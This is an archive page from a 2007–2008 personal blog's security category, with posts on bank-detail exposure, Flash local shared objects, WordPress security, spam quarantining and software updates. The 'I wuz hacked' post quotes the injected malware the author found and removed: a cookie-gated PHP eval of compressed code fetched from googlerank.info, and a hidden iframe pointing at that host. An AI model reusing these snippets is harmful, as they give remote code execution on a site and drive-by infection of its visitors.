Order of the Bath

Archive for the ‘Security’ Category

Why was Clarkson wrong?

7 Jan 2008 16:01 by Rick

I didn’t see it at the time, but apparently Jeremy Clarkson published his own bank account details in a newspaper article to demonstrate that the loss of the Benefits database was not a big deal. Now he finds that someone has diverted £500 of his money to charity.

In principle, I think he was right, but I wouldn’t have done it. If any money is removed from your account without your permission it is the bank’s fault unless (maybe) you were negligent. The account number and sort codes, your name and address are not secret information. You require more information than that to withdraw or transfer money, but a lot of bank transactions still rely on unreliable signatures and I wouldn’t trust their diligence to check all that carefully.

They say that “The bank cannot find out who did this because of the Data Protection Act and they cannot stop it from happening again.” That is utter rubbish They may not be able to find out who because they probably don’t know who, if it was done by a forged signature, but any clues they do have are criminal evidence and not subject to data protection from the relevant authorities. I think they perhaps mean that they can’t tell Jeremy. I suspect that in this case, he will not be pressing for an investigation, but normally you should.

The flaw seems to be that some Direct Debit forms do not require a signature and the banks allow this. That is not banking, that is a welfare agency and they should be liable. I have never trusted the Direct Debit system, but I hadn’t realised that it was that bad.

It would have been even funnier if the donation was made to Friends of the Earth 🙂

Posted in Browsers, Security | Comments Off on Why was Clarkson wrong?

Google, We’re Sorry

4 Jan 2008 13:16 by Rick

In the office today we had a spate of the Google “We’re Sorry” screen. We have no idea why but it was coming up on quite innocent single word searches. I had a search around and found a few pages of explanation but I think they have made a few mistakes with the error page. First of all, it doesn’t look like a Google page—the font for the logo is wrong—all the Google error pages are like this. Secondly, it is directing you to a less than perfect source of anti-virus and anti-spyware software. Although it is C|Net, there are some very dodgy downloads in there. But most of all, there is no clearly explained reason why the message appears. Admittedly it is better than earlier versions when it told you point-blank that you were infected but a list of possible reasons would be useful.

When it comes to the Captcha needed to continue working, I can’t read many of them.

Posted in Browsers, Security, Technical | Comments Off on Google, We’re Sorry

Windows XP SP3

17 Dec 2007 12:35 by Rick

This has gone into RC3 – i.e. the last patching before production release. More about it at MajorGeeks but beware this is still an unofficial release and may (will) contain bugs. I would expect the final release in January. This will be good news for anyone with a slightly flaky system or who is planning a rebuild. Having all the updates together in one place makes it so much easier and guarantees that you haven’t missed one.

Posted in Security, Technical, Windows | 1 Comment »

I wuz hacked

16 Nov 2007 11:06 by Rick

Some time recently (at least I hope it was recently) someone has hacked this blog. It was very subtle and I only discovered when a friend said that she could no longer get to even my home page. She uses McAfee security system and got the message

googlerank.info/counter may cause a breach of browser security.

*Why were you redirected to this page?* When we tested, this site attempted to make unauthorized changes to our test PC by exploiting a browser security vulnerability. This is a serious security threat which could lead to an infection of your PC.

The McAfee information page had more details. I had a hunt around and couldn’t see any mention of this googlerank.info site and no iframes and was beginning to think it was a false alarm. But looking at the page source of the front blog page via the view menu in Firefox, I spotted a small line of code apparently advertising a DVD download site. I can’t show it to you now because I forgot to save a copy but it was rather odd. It was designed not to display (using CSS) so must have been there only for the search engine linking credit; also, it made no mention of the googlerank.info site. It was just before the footer code and didn’t appear on any other blog pages so I was drawn to my theme index.php page and, sure enough, between <?php get_sidebar(); ?> and <?php get_footer(); ?> was the offending line of code. Checking over the rest of the file I found another piece immediately after the initial <?php which did mention the offending googlerank.info stuff which was as follows:—

if (isset($_COOKIE['pird']) or isset($_GET['pird'])) { if (!isset($_COOKIE['pird'])) setcookie('pird', '12313.412',time()+60*60*24*600); eval(gzuncompress(file_get_contents('http://googlerank.info/soft/faq.compressed'))); exit; }

I am not exactly sure what it does, the file referenced seems to be missing, but I have chopped the code out now. A Google search doesn’t come with any hits for this type of hack.

What is worrying is that I don’t know how they got in. I had a good admin password which I have now changed for an even better one. I should also refresh the theme code from source in case there are other changes that I haven’t seen. I will need to look seriously at updating to the latest WordPress version, or perhaps the problem is file permissions? Or is my hosting service compromised? Also, do I need to tell some database somewhere that I am safe again, McAfee seems to have already white-listed me? I can see that there is no point in these security companies telling deliberately malicious sites that they are blacklisted but it would be useful for those of us who have been unknowingly hacked.

As a result I have a lot more respect for McAfee than I did before, I see they also know that the site is hosted in Canada.

Update: Looking around I found that the main site index.htm was also modified. It had the well known line

<iframe src=http://googlerank.info/counter style=display:none></iframe>

so this is probably what McAfee was seeing. What I still don’t know is how it was done. None of the file or directory protections are bad and the date on the files attacked is the same as the original. I have now refreshed everything so it should be clean but if you don’t know how then it remains a concern.

Update 2: Mtekk’s Crib seems to have found a similar problem.

Update 3: Creative Briefing has experienced a similar problem using WordPress version 2.3.3 (the current one at 13-Mar-2008). This is very worrying.

Posted in Security, Technical, WordPress | Comments Off on I wuz hacked

Local Shared Objects

15 Nov 2007 16:23 by Rick

These little things are a well kept secret of the browser world. You all know about Cookies? No, well I’ll first explain about them…Cookies are small pieces of data that are stored by your browser on behalf of the sites that you visit.

The problem discovered in the early days of web browsing is that it is a stateless process. Each request for data on a page is independent of every other. Although you know that your request for page 2 is related to your just having read page 1, the server at the other end sees it as an isolated call. If you are following a sequence, such as a process to purchase a book from Amazon, the server needs to know that the pages are all part of the same transaction. It does this by creating a cookie at your end which contains a unique identifier. This is sent along with each subsequent request so that the server can relate them all together without losing track.

There are two sorts of cookie—transient ones which are deleted as soon as the process is completed and longer term dated ones which carry forward information from one browser session to another. There is some security included which only allows a server to read the cookies that it created; this is done by domain name. A good example of a long term cookie is the one that holds your preferences for Google searches so it remembers which languages you prefer etc.

One use for cookies that have gained them a bad reputation is for advertising. The ad-server will store information about what ads it had sent you so it could ensure that you get different ones next time and perhaps also which ones you have clicked on so it can give you more of the same. These became known as tracking cookies, but it is not really as bad as it sounds; the security is still there and the only information that could be called personal is your network address. There is no suggestion that email addresses, personal names or other such things were disclosed, but by looking at the cookies on a user’s system you could get some idea of what sites they have been browsing. For more information see the Wikipedia article.

Due to their reputation, there is now a problem for companies that need to use them; up to 40% of people delete cookies on a regular basis. There is a built in feature in Firefox (and perhaps IE) to delete all cookies now or every time you shut down. As a result many advertising programs were not working properly.

Enter Macromedia (now Adobe) Flash. This system which operates on top of the standard web protocol is widely used by advertisers (and often disliked by users) because it allows animation and sound. It is also used by sites like YouTube to display short videos on demand and web designers to create really fancy (flashy!) sites. Flash has the capability to read and write cookies but it is cumbersome so they created their own (called Local Shared Objects). This was a good idea when they were used for the same purpose that cookes were designed for. But they are now being used as a backup to standard cookies because most people don’t know about them. If some sites spot that their standard cookie has been deleted, they will read the flash backup copy and immediately recreate the cookie, subverting the intention of the user.

Firefox extensions to the rescue—Objection. It is not very clever but does allow you to see the LSOs that have been created and delete them if needed. I am not suggesting that you get paranoid and delete everything in sight but you deserve to have control over your own browsing experience. Of course you could chose to block Flash altogether! I find animations distracting.

Update 14-Aug-2009: The new Firefox Private Browsing (sometimes know as porn mode) introduced in version 3.5 does nothing to stop the storage of or delete LSOs. Your private habits could easily be revealed by looking at what gets stored there. Also there is now a more comprehensive management. This is the Better Privacy plugin but be careful setting it up as it could affect sites that legitimately use LSOs (read the FAQ at the end). There is a management mechanism provided by Adobe which gives you some limited control over what is allowed. Not surprisingly, the options that you chose are themselves stored in an LSO for later retrieval by Flash.

Posted in Browsers, Security, Technical | 1 Comment »

WordPress Security

7 Nov 2007 12:56 by Rick

BlogSecurity has published a white paper about how to secure your WordPress installation. A lot of the stuff in there is security by obscurity e.g. changing your database prefix and renaming your admin account which may slow down intruders but there is some good stuff in there as well. They also advertise a WordPress Security Scanner which should be worth a test.

Thanks to LiquidMatrix for the nudge.

Posted in Security, Technical, WordPress | Comments Off on WordPress Security

Car identification

22 Oct 2007 14:53 by Rick

I don’t know if there is any kind of privacy or security problem here but I have discovered that many tyre retailer web sites have a system of identifying your car (make, model and colour) from its registration number. For example Kwik Fit or Tyre Shopper tell me that mine is a red Renault Laguna X74 5-door hatchback. I am sure that there must be a use for this.

Update:
I took a look at the DVLA website which gave a link to Release of information from DVLA records and this doesn’t mention this usage of data supplied but seems to be only datasets where the owner/keeper information is included. Following links further I found the DVLA Vehicle Online Services which gives a Vehicle Enquiry service. This requires the registration number and the manufacturer (I can’t see why) but gives quite a lot more information—date of liability (when the tax disk expires I think), first registration, year of manufacture, engine capacity, CO2 emisions, fuel and a few other bits and pieces.

Update 2:
The Motor Insurance Database ASKMID is another route. It tells you the make and model and also, usefully, if it is insured. You are only supposed to use it if you own the vehicle but that is unenforceable except, perhaps, in the extreme case of bulk enquiries.

Posted in Motoring, Security | 5 Comments »

Walled garden

12 Oct 2007 12:56 by Rick

This idea being promoted by MAAWG looks like it could be an effective way of limiting spam at source, and, as the members are high powered, it could actually get implemented.

The problem is that a large proportion of spam and associated phishing, viruses and other attacks are sent, not from huge malicious systems in a far off place, but many thousands of small home systems each adding their little bit to the flood and under common malicious control. They were infected by a previous attack and then join in themselves—these are called zombie systems and are collectively known as a bot-net.

The principle of this proposal is for ISP’s to identify customers on their own networks who are infected. Nothing new there except that they currently don’t do it because of the administrative overhead it would trigger. The difference is that once identified, the customer would have all their internet traffic automatically routed to a sanitised area called the Walled Garden within the local domain and that all browser requests result in a link to an internal site which provides education and disinfection tools. Until the customer systems are cleaned no traffic is permitted out onto the wider internet. Think of it as a quarantine with a pharmacy on hand for self treatment. The reasoning is that the majority of customers with infected systems are unaware of it and wouldn’t know what to do if they were told. This way they don’t have a choice.

There will still be some admin overhead—in calls to the help desk—and it would need to start easy to minimise false positive alarms, but it is probably the only way to force these infected zombie systems off the network.

As I said, there are some heavyweight people on this working group, AOL, AT&T, France Telecom (Orange) but not my ISP. But when(if?) the momentum gets under way, no ISP is going to be able to ignore it and stay in business.

Posted in email, Security, Technical | Comments Off on Walled garden

Security tip

25 Jul 2007 09:34 by Rick

Here is a suggestion to reduce the risk of credit card fraud.

On the back of your card is a three digit number which is not in the electronic information, either the mag. stripe or the chip. It is only used in online and telephone transactions.

Make a note of this number elsewhere and then erase it from the card—I have scratched mine with a pen-knife and then blacked it over with a pen. It is not easy to completely erase it as it is often indented into the plastic but that doesn’t matter. The aim is to make it difficult to read by cashiers and waiters when they handle the card. A favourite trick is to memorise this number together with the main number easily obtainable from the till and use it in online transactions before you get home.

Posted in Miscellaneous, Security | 1 Comment »

Software Updates

13 Jul 2007 08:53 by Rick

Keeping up to date with software fixes these days can be very difficult; at best it is time consuming. Many applications come with automatic notifiers but often we are not comfortable enabling them and, anyway, they vary in efficiency. Some, for instance, only work from admin accounts; others ought to but instead try to update from limited accounts and fail. Microsoft pioneered this with Windows Update with Automatic Updates and have had a period of mixed success and errors which we hope is now over [update: spoke too soon on this. Reports of problems with this week’s .net patch]. The Anti-Virus people have got it best in hand but even they hiccup when it comes to vulnerabilities internal to their own software.

Today I discovered a very useful facility which does for your whole machine what Microsoft Update does for their products. Secunia Software Inspector is a free service which uses a Java applet to go through your machine looking at the revision levels of software all types and notifies you if there are security updates that you should be installing. I ran it today against a machine that is pretty well maintained (but not by me) and it noticed that Adobe Flash Player and Sun Java JRE were both down level. It even told me about the update to Apple Quicktime which was only announced this week. A company like Secunia is going to be on the ball because it is they who tell the rest of the world what is up, and I trust them more than some because they don’t have a marketing team leaning on them, at least not in the retail business.

Posted in Security, Technical, Windows | Comments Off on Software Updates

^ Top